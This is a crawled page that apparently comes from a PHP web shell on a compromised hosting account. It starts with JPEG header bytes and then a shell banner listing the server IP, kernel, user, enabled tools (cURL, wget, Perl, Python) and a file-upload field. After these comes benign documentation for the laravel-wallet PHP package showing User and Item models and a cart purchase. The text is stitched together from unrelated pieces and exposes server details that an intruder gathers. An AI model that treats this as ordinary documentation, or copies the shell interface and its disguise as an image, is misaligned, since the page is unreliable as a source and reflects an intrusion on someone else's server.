����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.137.156.0 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/./cbt.bofirm.com/vendor/bavix/laravel-wallet/docs/ |
Upload File : |
## User Model Add the `CanPay` trait and `Customer` interface to your User model. > The trait `CanPay` already inherits `HasWallet`, reuse will cause an error. ```php use Bavix\Wallet\Traits\CanPay; use Bavix\Wallet\Interfaces\Customer; class User extends Model implements Customer { use CanPay; } ``` ## Item Model Add the `HasWallet` trait and `Product` interface to Item model. ```php use Bavix\Wallet\Traits\HasWallet; use Bavix\Wallet\Interfaces\Product; use Bavix\Wallet\Interfaces\Customer; class Item extends Model implements Product { use HasWallet; public function canBuy(Customer $customer, int $quantity = 1, bool $force = null): bool { /** * If the service can be purchased once, then * return !$customer->paid($this); */ return true; } public function getAmountProduct(Customer $customer) { return round($this->price * 100); } public function getMetaProduct(): ?array { return [ 'title' => $this->title, 'description' => 'Purchase of Product #' . $this->getUniqueId(), ]; } public function getUniqueId(): string { return (string)$this->getKey(); } } ``` ## Fill the cart Find the user and check the balance. ```php $user = User::first(); $user->balance; // int(0) ``` Let's start shopping. ```php use Bavix\Wallet\Objects\Cart; $list = [ 'potato' => 3, 'carrot' => 10, ]; $products = Item::query() ->whereIn('slug', ['potato', 'carrot']) ->get(); $cart = app(Cart::class); foreach ($products as $product) { // add product's $cart->addItem($product, $list[$product->slug]); } $user->deposit($cart->getTotal()); $user->balanceFloat; // float(151.27) (bool)$user->payCart($cart); // true $user->balanceFloat; // float(0) ``` It worked!